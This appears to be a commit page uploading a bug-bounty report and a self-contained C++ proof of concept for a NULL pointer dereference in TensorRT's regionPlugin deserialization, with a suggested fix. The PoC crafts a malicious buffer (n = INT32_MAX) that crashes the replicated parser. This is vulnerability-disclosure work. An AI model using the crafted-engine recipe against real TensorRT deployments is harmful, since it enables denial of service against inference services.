ericblackgachara commited on
Commit
190a505
Β·
verified Β·
1 Parent(s): 8f37fa3

Upload 3 files

Browse files
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ TensorRT[[:space:]]regionPlugin[[:space:]]β€”[[:space:]]NULL[[:space:]]Pointer[[:space:]]Dereference[[:space:]]PoC[[:space:]]Evidence.pdf filter=lfs diff=lfs merge=lfs -text
README.md ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TensorRT regionPlugin β€” NULL Pointer Dereference
2
+
3
+ ![Severity: High](https://img.shields.io/badge/Severity-High%207.5%20CVSS-orange)
4
+ ![CWE-476](https://img.shields.io/badge/CWE-476%20NULL%20Ptr%20Deref-red)
5
+ ![CWE-789](https://img.shields.io/badge/CWE-789%20Unbounded%20Alloc-red)
6
+ ![Status: Ready to submit](https://img.shields.io/badge/Status-Ready%20to%20Submit-blue)
7
+
8
+ ## Target
9
+
10
+ | Field | Value |
11
+ |---|---|
12
+ | **Repository** | https://github.com/NVIDIA/TensorRT |
13
+ | **Platform** | huntr.com |
14
+ | **Max payout** | $4,000 |
15
+ | **Affected file** | `plugin/regionPlugin/regionPlugin.cpp` |
16
+ | **Affected lines** | `allocateChunk` template (38–42), deserialization ctor (93–227), loop (152–168) |
17
+
18
+ ## Vulnerability
19
+
20
+ `allocateChunk<T>()` calls `malloc(count * sizeof(T))` with **no NULL check** on the return value. The `count` parameter (`smTreeTemp->n`) is read directly from an attacker-controlled deserialization buffer with no bounds validation.
21
+
22
+ Crafting a `.trt` engine file with `softmaxTree.n = INT32_MAX` causes:
23
+ 1. `malloc(8,589,934,588)` β†’ fails β†’ returns `NULL`
24
+ 2. Loop: `smTreeTemp->leaf[0]` β†’ WRITE to address `0x0` β†’ **SIGSEGV**
25
+
26
+ ## Root Cause Snippet
27
+
28
+ ```cpp
29
+ // regionPlugin.cpp:38-42 β€” BUG
30
+ template <typename T>
31
+ void allocateChunk(T*& ptr, int32_t count)
32
+ {
33
+ ptr = static_cast<T*>(malloc(count * sizeof(T)));
34
+ // ← no NULL check here
35
+ }
36
+
37
+ // regionPlugin.cpp:117, 121 β€” attacker-controlled n flows into allocateChunk
38
+ smTreeTemp->n = read<int32_t>(d); // ← 0x7FFFFFFF from crafted buffer
39
+ allocateChunk(smTreeTemp->leaf, smTreeTemp->n); // malloc(8.5 GB) β†’ NULL
40
+
41
+ // regionPlugin.cpp:156 β€” NULL dereference
42
+ smTreeTemp->leaf[i] = read<int32_t>(d); // WRITE to 0x0 β†’ SIGSEGV
43
+ ```
44
+
45
+ ## Trigger Path
46
+
47
+ ```
48
+ crafted .trt file
49
+ β†’ Runtime.deserialize_cuda_engine(data)
50
+ β†’ RegionPluginCreator::deserializePlugin(name, serialData, serialLength)
51
+ β†’ new Region(serialData, serialLength) [regionPlugin.cpp:93]
52
+ β†’ allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
53
+ β†’ malloc(8,589,934,588) returns NULL
54
+ β†’ smTreeTemp->leaf[0] = read<int32_t>(d) [regionPlugin.cpp:156]
55
+ β†’ SIGSEGV
56
+ ```
57
+
58
+ ## Reproduction
59
+
60
+ ```bash
61
+ # Compile (no CUDA, no GPU, no TensorRT required)
62
+ g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
63
+
64
+ # Run
65
+ ./poc_tensorrt
66
+ ```
67
+
68
+ **Expected output:**
69
+ ```
70
+ [*] n = 2147483647 (0x7FFFFFFF)
71
+ [*] malloc requested: 8589934588 bytes (8.0 GB)
72
+ [*] leaf ptr after allocateChunk: (nil)
73
+ [!] malloc FAILED β€” leaf is NULL
74
+ [!] Entering loop β€” crash on first iteration...
75
+ Segmentation fault (core dumped) [exit 139 / SIGSEGV]
76
+ ```
77
+
78
+ **ASAN confirmation:**
79
+ ```bash
80
+ g++ -std=c++17 -O0 -g -fsanitize=address -o poc_tensorrt_asan poc_tensorrt.cpp
81
+ ASAN_OPTIONS=allocator_may_return_null=1 ./poc_tensorrt_asan
82
+ # ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
83
+ # The signal is caused by a WRITE memory access.
84
+ # Hint: address points to the zero page.
85
+ # #0 in trigger_deserialize poc_tensorrt.cpp:187
86
+ ```
87
+
88
+ ## Suggested Fix
89
+
90
+ ```cpp
91
+ template <typename T>
92
+ void allocateChunk(T*& ptr, int32_t count)
93
+ {
94
+ ptr = static_cast<T*>(malloc(count * sizeof(T)));
95
+ PLUGIN_VALIDATE(ptr != nullptr); // ADD THIS
96
+ }
97
+ ```
98
+
99
+ All 9 call sites in the deserialization constructor are fixed by patching the template.
100
+
101
+ ## Files
102
+
103
+ | File | Description |
104
+ |---|---|
105
+ | `poc_tensorrt.cpp` | Self-contained C++ PoC β€” compiles with g++, no CUDA |
106
+ | `report.md` | Full huntr-format vulnerability report |
107
+ | `poc-evidence.html` | HTML evidence page with terminal output and ASAN backtrace |
108
+ | `README.md` | This file |
TensorRT regionPlugin β€” NULL Pointer Dereference PoC Evidence.pdf ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:09a6df5e392b368b5862dcc5f9b8dbbf50c3a6a34e6232dbefd62a95e5f48b20
3
+ size 196232
poc_tensorrt.cpp ADDED
@@ -0,0 +1,216 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * TensorRT regionPlugin NULL Pointer Dereference - Proof of Concept
3
+ *
4
+ * Vulnerability: NULL pointer dereference in Region plugin deserialization
5
+ * CWE-476: NULL Pointer Dereference
6
+ * CWE-789: Uncontrolled Memory Allocation
7
+ *
8
+ * Affected file : plugin/regionPlugin/regionPlugin.cpp
9
+ * Affected lines: allocateChunk template (lines 38-42), deserialization
10
+ * constructor (lines 93-227), loop at lines 152-168
11
+ *
12
+ * Root cause:
13
+ * allocateChunk<T>(ptr, count) calls malloc(count * sizeof(T)) with no NULL
14
+ * check on the return value. When `count` is an attacker-controlled value
15
+ * from the serialized engine buffer (smTreeTemp->n), a crafted value of
16
+ * INT32_MAX causes malloc(~8.5 GB) to fail and return NULL. The subsequent
17
+ * loop immediately dereferences ptr[0] at address 0x0 β†’ SIGSEGV.
18
+ *
19
+ * Trigger path:
20
+ * tensorrt.Runtime.deserialize_cuda_engine(crafted_engine_bytes)
21
+ * β†’ RegionPluginCreator::deserializePlugin()
22
+ * β†’ Region::Region(buffer, length) [regionPlugin.cpp:93]
23
+ * β†’ allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
24
+ * β†’ malloc(0x1FFFFFFFC) fails β†’ leaf = NULL
25
+ * β†’ smTreeTemp->leaf[0] = read<int32_t>(d) [regionPlugin.cpp:156]
26
+ * β†’ NULL pointer dereference β†’ SIGSEGV
27
+ *
28
+ * Compile (no CUDA required):
29
+ * g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
30
+ *
31
+ * Run:
32
+ * ./poc_tensorrt
33
+ *
34
+ * Expected output:
35
+ * [*] n = 2147483647 (0x7FFFFFFF)
36
+ * [*] malloc requested: 8589934588 bytes (8.0 GB)
37
+ * [*] leaf ptr after allocateChunk: 0x0 (NULL β€” malloc failed)
38
+ * [!] NULL pointer dereference in loop iteration 0 β€” expect SIGSEGV
39
+ * Segmentation fault (core dumped)
40
+ */
41
+
42
+ #include <cstdlib>
43
+ #include <cstdint>
44
+ #include <cstring>
45
+ #include <cstdio>
46
+ #include <climits>
47
+
48
+ // ── Exact copy of allocateChunk from regionPlugin.cpp:38-42 ──────────────────
49
+ // BUG: no NULL check after malloc
50
+ template <typename T>
51
+ void allocateChunk(T*& ptr, int32_t count)
52
+ {
53
+ ptr = static_cast<T*>(malloc(count * sizeof(T)));
54
+ // Missing: if (ptr == nullptr) { throw / return error; }
55
+ }
56
+
57
+ // ── Deserialization read helper (identical to plugin/common) ─────────────────
58
+ template <typename T>
59
+ T read(char const*& d)
60
+ {
61
+ T val;
62
+ memcpy(&val, d, sizeof(T));
63
+ d += sizeof(T);
64
+ return val;
65
+ }
66
+
67
+ // ── softmaxTree (matches regionPlugin.h) ─────────────────────────────────────
68
+ struct softmaxTree {
69
+ int32_t n;
70
+ int32_t groups;
71
+ int32_t* leaf;
72
+ int32_t* parent;
73
+ int32_t* child;
74
+ int32_t* group;
75
+ char** name;
76
+ int32_t* groupSize;
77
+ int32_t* groupOffset;
78
+ };
79
+
80
+ // ── Build the malicious serialization buffer ──────────────────────────────────
81
+ //
82
+ // Binary layout mirrors Region::serialize() at regionPlugin.cpp:301-363:
83
+ //
84
+ // Offset Size Field
85
+ // 0 4 C (int32_t)
86
+ // 4 4 H (int32_t)
87
+ // 8 4 W (int32_t)
88
+ // 12 4 num (int32_t)
89
+ // 16 4 classes (int32_t)
90
+ // 20 4 coords (int32_t)
91
+ // 24 1 softmaxTreePresent (bool) ← set TRUE
92
+ // 25 1 leafPresent (bool) ← set TRUE β†’ triggers allocateChunk(leaf, n)
93
+ // 26 1 parentPresent (bool)
94
+ // 27 1 childPresent (bool)
95
+ // 28 1 groupPresent (bool)
96
+ // 29 1 namePresent (bool)
97
+ // 30 1 groupSizePresent (bool)
98
+ // 31 1 groupOffsetPresent (bool)
99
+ // 32 4 n = INT32_MAX (int32_t) ← MALICIOUS VALUE
100
+ //
101
+ static size_t build_malicious_buffer(char* buf)
102
+ {
103
+ char* d = buf;
104
+
105
+ auto w32 = [&](int32_t v) { memcpy(d, &v, 4); d += 4; };
106
+ auto wb = [&](bool v) { *d++ = v ? 1 : 0; };
107
+
108
+ w32(1); w32(1); w32(1); // C, H, W
109
+ w32(1); w32(1); w32(1); // num, classes, coords
110
+
111
+ wb(true); // softmaxTreePresent β€” enters tree branch
112
+ wb(true); // leafPresent β€” triggers allocateChunk(leaf, n) and loop write
113
+ wb(false); // parentPresent
114
+ wb(false); // childPresent
115
+ wb(false); // groupPresent
116
+ wb(false); // namePresent
117
+ wb(false); // groupSizePresent
118
+ wb(false); // groupOffsetPresent
119
+
120
+ w32(INT32_MAX); // n = 2,147,483,647 β†’ malloc(8.5 GB) β†’ fails β†’ NULL
121
+
122
+ return (size_t)(d - buf);
123
+ }
124
+
125
+ // ── Replicate Region::Region(buffer, length) β€” regionPlugin.cpp:93-227 ───────
126
+ static void trigger_deserialize(char const* buffer, size_t length)
127
+ {
128
+ char const* d = buffer;
129
+
130
+ /* C = */ read<int32_t>(d);
131
+ /* H = */ read<int32_t>(d);
132
+ /* W = */ read<int32_t>(d);
133
+ /* num = */ read<int32_t>(d);
134
+ /* classes = */ read<int32_t>(d);
135
+ /* coords = */ read<int32_t>(d);
136
+
137
+ bool softmaxTreePresent = read<bool>(d);
138
+ bool leafPresent = read<bool>(d);
139
+ bool parentPresent = read<bool>(d);
140
+ bool childPresent = read<bool>(d);
141
+ bool groupPresent = read<bool>(d);
142
+ /* namePresent = */ read<bool>(d);
143
+ /* groupSizePresent = */ read<bool>(d);
144
+ /* groupOffsetPresent = */ read<bool>(d);
145
+
146
+ if (softmaxTreePresent)
147
+ {
148
+ softmaxTree* smTreeTemp;
149
+ allocateChunk(smTreeTemp, 1); // allocates 1 struct β€” succeeds
150
+
151
+ smTreeTemp->n = read<int32_t>(d); // n = INT32_MAX (attacker-controlled)
152
+
153
+ printf("[*] n = %d (0x%08X)\n",
154
+ smTreeTemp->n, (uint32_t)smTreeTemp->n);
155
+ printf("[*] malloc requested: %zu bytes (%.1f GB)\n",
156
+ (size_t)smTreeTemp->n * sizeof(int32_t),
157
+ (double)((size_t)smTreeTemp->n * sizeof(int32_t)) / (1 << 30));
158
+
159
+ if (leafPresent)
160
+ {
161
+ // regionPlugin.cpp:121 β€” THE VULNERABLE CALL
162
+ allocateChunk(smTreeTemp->leaf, smTreeTemp->n);
163
+ printf("[*] leaf ptr after allocateChunk: %p\n", (void*)smTreeTemp->leaf);
164
+
165
+ if (smTreeTemp->leaf == nullptr)
166
+ printf("[!] malloc FAILED β€” leaf is NULL\n"
167
+ "[!] Entering loop β€” crash on first iteration...\n\n");
168
+ }
169
+ else smTreeTemp->leaf = nullptr;
170
+
171
+ if (parentPresent)
172
+ allocateChunk(smTreeTemp->parent, smTreeTemp->n);
173
+ else smTreeTemp->parent = nullptr;
174
+
175
+ if (childPresent)
176
+ allocateChunk(smTreeTemp->child, smTreeTemp->n);
177
+ else smTreeTemp->child = nullptr;
178
+
179
+ if (groupPresent)
180
+ allocateChunk(smTreeTemp->group, smTreeTemp->n);
181
+ else smTreeTemp->group = nullptr;
182
+
183
+ // regionPlugin.cpp:152-168 β€” CRASH HERE (i=0, leaf=NULL)
184
+ for (int32_t i = 0; i < smTreeTemp->n; i++)
185
+ {
186
+ if (leafPresent)
187
+ smTreeTemp->leaf[i] = read<int32_t>(d); // NULL DEREF β†’ SIGSEGV
188
+ if (parentPresent)
189
+ smTreeTemp->parent[i] = read<int32_t>(d);
190
+ if (childPresent)
191
+ smTreeTemp->child[i] = read<int32_t>(d);
192
+ if (groupPresent)
193
+ smTreeTemp->group[i] = read<int32_t>(d);
194
+ }
195
+ }
196
+ }
197
+
198
+ int main()
199
+ {
200
+ setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered β€” survives crash
201
+
202
+ printf("============================================================\n");
203
+ printf(" TensorRT regionPlugin NULL Pointer Dereference PoC\n");
204
+ printf(" CWE-476 | CWE-789 | plugin/regionPlugin/regionPlugin.cpp\n");
205
+ printf("============================================================\n\n");
206
+
207
+ char buffer[64] = {};
208
+ size_t len = build_malicious_buffer(buffer);
209
+ printf("[*] Crafted plugin blob: %zu bytes\n\n", len);
210
+
211
+ trigger_deserialize(buffer, len);
212
+
213
+ // Should never reach here
214
+ printf("\n[-] ERROR: should have crashed β€” SIGSEGV not triggered\n");
215
+ return 1;
216
+ }